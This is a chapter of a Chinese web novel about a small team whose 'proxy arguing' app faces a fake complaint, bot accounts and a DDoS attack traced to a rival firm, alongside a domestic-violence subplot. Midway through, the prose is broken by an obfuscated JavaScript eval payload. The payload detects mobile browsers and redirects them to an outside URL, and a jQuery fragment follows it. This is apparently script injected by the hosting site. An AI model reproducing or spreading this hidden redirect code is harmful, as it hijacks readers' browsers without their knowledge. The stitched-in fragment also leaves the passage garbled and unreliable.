投资人没看上他们。


    准确地说，是没看上“代吵”这个商业模式。


    “徐小姐，我坦白说，”周敏搅动着面前的拿铁，妆容精致，语气职业，“你们这个APP，伦理风险太高了。”


    徐寄遥坐直身体，保持微笑：“您具体是指？”


    “代吵，”周敏放下咖啡勺，“帮人吵架，这本身是激化矛盾，我们鲲鹏资本的投资理念是让世界更美好，你们这个项目，嗯……怎么说呢，有点像是在制造冲突。”


    应宽在旁边推了推眼镜，想说话，被徐寄遥用眼神制止。


    “周经理，”徐寄遥不紧不慢地说，“我理解您的顾虑，不过我们的核心原则恰恰是不制造对立，只解决矛盾，不是去帮客户吵架，而是用专业的方式帮客户表达诉求、维护权益，您可以理解为，数字时代的谈判专家。”


    周敏笑了一下，那笑容很职业，也很疏离。


    “谈判专家？徐小姐，谈判专家是调解矛盾，但你们做的是代人吵架，这中间的区别，你比我清楚。”


    她站起来，拿起包。


    “坦白说，你们的项目数据不错，上线31天订单破500，团队也有大厂背景，但是这个模式本身，我个人不太看好，除非你们转型做家庭调解类APP，否则我们不会投。”


    她递过来一张名片。


    “如果想转型，可以再联系我。”


    说完，她走了。


    徐寄遥盯着那杯没喝几口的拿铁，沉默了。


    “她根本没听懂我们在做什么。”应宽在旁边说。


    “她听懂了，”徐寄遥端起咖啡，喝了一口，已经凉了，“她只是不认同，在她的认知里，吵架等于冲突，冲突等于不好的东西，所以她需要一个和解、调解之类的概念来包装。”


    “但我们的核心是解决问题。”


    徐寄遥放下咖啡杯，站起来。


    “走吧，回去干活。”


    /


    回到工作室，已经快十一点了。


    应宽刚坐下，就看到后台弹出一条新消息。


    【投诉内容如下：】


    【投诉用户：一个父亲】


    【投诉对象：代吵APP】


    【投诉理由：你们这个APP教唆我女儿顶撞我！我女儿以前很听话，用了你们的APP之后，开始跟我顶嘴，还说什么我有独立人格、你要尊重我的边界。这些话是不是你们教的？你们这是在破坏家庭和谐！要求立刻下架APP，否则我报警！】


    应宽看完，沉默了两秒，他点开用户的ID信息，进行了简单的IP追踪。


    “徐寄遥。”


    “嗯？”


    “你来一下。”


    徐寄遥听出他语气里的异常，起身走过去。应宽把屏幕转向她。


    徐寄遥看完，眉头微微皱起。


    “这是第一个投诉？”


    “对，”应宽点开投诉用户的ID信息，“上线31天，第一个正式投诉，但我查了一下这个用户的IP。”


    他调出一张追踪图。


    “IP地址显示，这个用户来自一家叫伯牙科技的公司。”


    徐寄遥盯着那个公司名字，在脑子里快速搜索。


    “伯牙科技？是做什么的？”


    “我查了，”应宽打开另一个页面，“成立于2020年，创始人叫杨亚波，做过电商、社交等多个项目，去年10月，他们上线了一款APP，叫……”


    他顿了顿。


    “和解大师。”


    徐寄遥的眼睛眯了一下。


    和解大师。


    她知道这个APP。


    上线比代吵早三个月，主打家庭和谐调解，广告铺天盖地。


    她之前调研市场的时候下载过，试用了一下，发现所谓的调解其实就是模板化的和稀泥，让子女多体谅父母，让父母多理解子女，说了等于没说。


    但人家的资金雄厚，用户量是代吵的几十倍。


    “所以，”徐寄遥盯着屏幕，“和解大师的人在投诉我们？”


    “看起来是这样，”应宽继续往下翻，“不过这个投诉本身没什么，真正有意思的是后面。”


    他点开投诉页面下方的支持列表。


    “你看，这些点了‘支持’的用户。”


    徐寄遥凑过去。


    列表上有几十个用户头像，全是默认的灰色图标。


    “有87个用户点了支持，”应宽说，“注册时间集中在今天早上八点到九点之间，IP地址分布在天南海北，北京、上海、广州、成都、乌鲁木齐……但是，你看他们的昵称。”


    他把鼠标滑过几个ID：


    用户78432901


    用户78433015


    用户78432788


    ……


    “全是‘用户+八位数字’，而且数字连号，”应宽推了推眼镜，“典型的机器生成账号，人工注册不会这么整齐。”


    徐寄遥沉默了五秒。


    她脑子里快速闪过几个问题：


    谁在投诉？表面是一个“父亲”，实际来自伯牙科技。


    谁在支持？87个水军账号，批量注册。


    目的是什么？制造民意，逼应用商店下架代吵APP。


    背后是谁？伯牙科技，和解大师。


    “应宽。”她开口。


    “嗯？”


    “能追踪到这些水军账号的真实来源吗？”


    应宽的手指在键盘上敲了几下，调出一个追踪界面。


    “可以，需要一些技术手段，比如伪装成普通用户，进入他们注册账号的服务器，反向追踪IP。”


    他顿了顿，补了一句：“这可能会踩到灰色地带。”


    徐寄遥看着他：“有多灰？”


    “不算太黑，”应宽老实回答，“就是普通的反追踪技术，不会破坏他们的系统，只是看看数据，严格来说不算黑客，算……信息收集吧。”


    徐寄遥想了想，摇头。


    “先别动。”


    “为什么？”


    “我们现在什么都不知道，”徐寄遥坐回自己的椅子，“这个投诉来自伯牙科技，这是事实，但是，伯牙科技是一家正规公司，有上百号员工，投诉的可能只是一个普通员工，不一定是公司行为。”


    应宽皱眉：“那些水军账号……”


    “水军账号是批量注册的，这是事实，”徐寄遥打断他，“不过，批量注册账号不一定是伯牙科技干的，也可能是第三方灰产，关键我们现在什么都没有，仅仅是手头这点线索，就贸然用技术手段去查，万一被发现，反而给了对方把柄。”


    她喝了口咖啡，苦的。


    “更重要的是，如果我们今天为了查一个投诉，就用了灰色手段，明天为了查另一个投诉，又用了更灰色的手段，那到最后，我们和那些躲在暗处的人有什么区别？”


    应宽沉默了。


    他知道徐寄遥说得对。


    代吵APP的禁忌规则是他们一开始就定好的：不使用黑客技术，不伪造文件，不非法取证，不制造对立。


    这是徐寄遥的底线，也是他愿意跟着她干的原因之一。


    但他还是有点不甘心。


    “那我们就这么干看着？什么都不做？”


    “谁说什么都不做？”徐寄遥放下咖啡杯，眼睛里有光，“我们做能做的，合法的。”


    她站起来，走到白板前，拿起笔。


    “第一步，收集证据，”她在白板上写下“1”，“把投诉内容、IP地址、水军账号的注册时间、昵称规律，全部截图存档，这是我们的底牌，以后用得上。”


    “第二步，写回应，”她写下“2”，“不针对这个投诉，而是发一个通用的声明，‘代吵APP始终坚持不制造对立、只解决矛盾的原则，欢迎用户监督’，不辩解，不否认，不激化。”


    “第三步，观察，”她写下“3”，“看这个投诉会不会被应用商店采纳，看有没有媒体跟进，看对方下一步出什么牌，我们现在不知道对方是谁，那就等他们自己跳出来。”


    应宽看着白板上的三条，沉默了几秒。


    然后他笑了。


    “你写第二步的时候，语速到了220。”


    徐寄遥愣了一下：“你又计时了？”


    “职业习惯，”应宽转回电脑前，“行，按你说的办。我先存档证据。”


    /


    下午两点，证据存档完毕。


    应宽把87个水军账号的截图、IP追踪记录、投诉内容全部打包，存进一个加密文件夹。


    文件名是“证据-20250129”，密码只有他和徐寄遥知道。


    “接下来呢？”他问。


    “等，”徐寄遥盯着电脑屏幕，“看他们会不会继续动。”


    话音刚落，电脑突然弹出一个提示框。


    应宽看了一眼，表情变了。


    “服务器负载在上升。”


    徐寄遥快步走过去。监控面板上，服务器负载指数正以肉眼可见的速度爬升：


    65%……72%……81%……


    “什么情况？”


    “大量异常访问，”应宽的手指已经在键盘上飞舞，“每秒请求数从正常的两百多暴涨到三千多，而且还在涨。”


    徐寄遥的脑子飞速转着。


    DDoS攻击。（注1）


    分布式拒绝服务攻击。用大量虚假请求挤爆服务器，让真正的用户无法访问。


    这是互联网行业最常见的恶意攻击手段之一。


    “能挡住吗？”


    “能，”应宽的声音很稳，“但需要时间，我们的防护是基础级的，应付小规模攻击没问题，但这次攻击流量很大。”


    88%……93%……97%……


    监控面板上的数字跳到100%，然后屏幕一黑。


    服务器宕机了。


    代吵APP，无法访问。


    徐寄遥盯着黑屏，沉默了三秒。


    然后她拿起手机，打开代吵APP的客户端。


    加载……加载失败……网络连接异常。


    她放下手机，深吸一口气。


    “是那个投诉的人干的？”


    “不确定，”应宽已经开始紧急恢复，“但可能性很大，投诉刚发，服务器就挨打，时间点太巧了。”


    “能查到攻击来源吗？”


    “能，”应宽的手指没停，“攻击流量的IP地址都是假的，伪造的，但顺着链路往回追，理论上能找到真正的源头。”


    他顿了顿，补了一句：“这需要点时间，而且可能会触碰到……”


    “灰色地带？”徐寄遥替他说完。


    应宽点头。


    徐寄遥沉默了几秒。


    然后她说：“追，但只看不碰，先找到源头，知道是谁干的，但不进入他们的系统，不破坏，不取证，只看。”


    应宽看了她一眼，点点头。


    “明白。”


    /


    下午四点，服务器恢复。


    应宽忙了两个小时，代吵APP重新上线。


    攻击流量还在继续，但他临时加了道防火墙，勉强挡住了。


    “攻击源头找到了，”他调出一张追踪图，“是境外的一台跳板服务器，真正的攻击指令是从国内发出的，经过三层跳板，最后落到那台境外服务器上。”


    “能追到国内吗？”


    “当然，”应宽继续敲键盘，“跳板服务器的日志里有访问记录，我正在反向追踪，找到了，第二层是国内的一家云服务商，再往前……第三层，有了。”


    他盯着屏幕上跳出来的IP地址，眉头皱了起来。


    “这个IP……”


    “怎么了？”


    应宽把IP地址输入搜索框，跳出来的信息让他沉默了。


    徐寄遥凑过去看。


    屏幕上显示的是企业信息查询页面：


    【公司名称：伯牙科技有限公司】


    【注册地址：北京市朝阳区建国路88号现代城18层】


    【法定代表人：杨亚波】


    【成立日期：2020-03-15】


    又是伯牙科技。


    投诉来自伯牙科技。


    水军账号疑似伯牙科技。


    现在DDoS攻击的源头，也指向伯牙科技。


    “证据链闭环了，”应宽说，“投诉、水军、攻击，是同一家公司。”


    徐寄遥盯着那个公司名字，沉默了很久。


    和解大师。


    那个比她早三个月上线、资金雄厚、广告铺天盖地的APP。


    那个主打家庭和谐调解的APP。


    现在在背后攻击她。


    “怎么办？”应宽问，“要不要把这些证据公开？或者报警？”


    徐寄遥没有立刻回答。


    她站起来，走到窗边。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239910|197680||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    楼下的老太太们还在晒太阳。几个小孩在空地上追逐打闹，笑声隐约传上来。


    大年初一的下午，阳光很好。


    但她知道，阳光照不到的地方，有人在暗中盯着她。


    “现在公开证据，我们能证明什么？”她转过身，看着应宽，“能证明伯牙科技的服务器参与了攻击，那他们可以说，那是员工个人行为，或者服务器被黑了，而他们不知情。”


    她顿了顿。


    “我们有的只是技术层面的线索，不是法律层面的证据。”


    应宽沉默了。


    他知道徐寄遥说得对。


    技术上，他可以追踪到天荒地老。但法律上，这些证据的效力有限。


    伯牙科技是正规公司，有法务，有公关，有资源。他们会把所有责任推给个人行为，然后全身而退。


    “那就这么算了？”他问。


    “谁说要算了？”徐寄遥走回桌边，拿起手机，“我们现在不公开，是因为证据不够硬，但是我们可以留着，等以后，等他们自己跳出来，等他们露出更大的破绽。”


    她打开备忘录，开始打字：


    【日期：2025年1月29日】


    【事件记录：】


    【1. 上午11:03，收到投诉，IP指向伯牙科技】


    【2. 87个支持投诉的水军账号，疑似批量注册】


    【3. 下午14:17，服务器遭受DDoS攻击】


    【4. 攻击源头追踪，最终指向伯牙科技IP段】


    【备注：暂时不公开，存档备查】


    打完，她保存文件，把手机放回口袋。


    “应宽。”


    “嗯？”


    “今天这个诡异的投诉，证明了一件事。”


    “什么事？”


    徐寄遥看着他，眼睛里有光，也有阴影。


    “有人在盯着我们，而且他们不希望我们活下去。”


    /


    傍晚六点，天色渐暗。


    应宽加固了服务器的防护，攻击流量还在继续，但暂时冲不进来。他乐观估计对方请的是廉价黑客服务，持续不了多久。


    徐寄遥坐在电脑前，处理今天积压的订单。


    第306单：女儿被父母逼婚，求助代吵。


    第307单：儿子被父亲骂废物，求助代吵。


    第308单：妻子被丈夫家暴，不敢直接报警，希望代吵师帮忙吓唬一下对方。


    ……


    她一条一条看着，心里涌起一种奇怪的感觉。


    这个世界有那么多人在受苦。被父母控制，被伴侣伤害，被亲人勒索。他们不敢反抗，不会反抗，只能躲在手机后面，找一个素未谋面的代吵师帮忙。


    而她，就是那个帮忙的人。


    但她自己呢？


    她自己也在被控制，被伤害，被勒索。只是控制她的人，是生她养她的母亲。


    手机亮了。


    一条短信，来自何久红：


    “明天中午12点，万和饭店，别迟到，人家条件可好了，你别给我丢人。”


    徐寄遥盯着这条短信，没有回复。


    她把手机翻过去，继续看订单。


    第309单：客户ID“无处可逃”。


    诉求内容：昨天那个酒醒的父亲，今天又喝了，她在楼上，不敢下去，能不能再帮帮她？


    徐寄遥的手指停在屏幕上。


    是昨晚那个女孩。


    那个父亲砸门、母亲躲在房间里哭、她躲在楼上不敢出声的女孩。


    她点开聊天记录，看到女孩昨晚最后发的消息：


    “谢谢你们，警察把他带走了，我和妈妈安全了，新年快乐。”


    那是凌晨一点多。


    现在，她父亲又喝了。


    徐寄遥深吸一口气，开始打字：


    “客户‘无处可逃’，您的订单已被‘以德服人’接单。现在情况如何？请描述。”


    几秒钟后，回复弹出来：


    “他在楼下客厅，已经睡了，我不知道他什么时候醒，我妈在收拾东西，我们想趁他喝醉这会儿走，我妈说我们没有地方去，你们能帮我们找个地方吗？”


    徐寄遥看着这条消息，沉默了很久。


    然后她抬起头，看向应宽。


    “应宽。”


    “嗯？”


    “你知道哪里有那种……临时的、安全的、能收留家暴受害者的地方吗？”


    应宽愣了一下，然后开始搜索。


    “有，妇女庇护所。西城区有一个，我查到了电话。”


    他把电话报给徐寄遥。


    徐寄遥拨过去，确认还有空位，然后把这个地址和电话发给了“无处可逃”。


    “这是西城区妇女庇护所的地址和电话，你们现在收拾东西过去吧，到了之后给我发个消息。”


    “好的！谢谢你们！”


    “不客气。”


    聊天窗口安静了。


    徐寄遥放下手机，靠在椅背上。


    窗外的天彻底黑了。远处的居民楼里，一盏一盏的灯亮起来，像星星。


    应宽在旁边继续加固服务器。键盘声轻轻响着，有种安心的节奏。


    “徐寄遥。”他突然开口。


    “嗯？”


    “我们会被他们搞垮吗？”


    徐寄遥想了想，摇头。


    “不知道。”


    “那你怎么还这么淡定？”


    “因为不淡定也没用，”她站起来，走到窗边，“怕也没用，慌也没用，该来的总会来，我们能做的，只有见招拆招。”


    应宽看着她的背影，没有说话。


    窗外，又一朵烟花炸开。红的绿的，照亮夜空。


    “明天中午，”徐寄遥忽然说，“我妈非要我去相亲。”


    应宽愣了一下：“那你去吗？”


    “不去。”


    “那你怎么跟她说？”


    徐寄遥回过头，看着他。


    “不说，”她说，“我直接消失。”


    应宽沉默了两秒，然后笑了。


    “你这是物理隔离的预演？”


    “算是吧。”


    她走回桌边，继续看订单。


    第310单。第311单。第312单。


    一个又一个需要帮助的人，在屏幕那头等着她。


    而她，也只能先帮他们。


    至于她自己，等有空再说吧。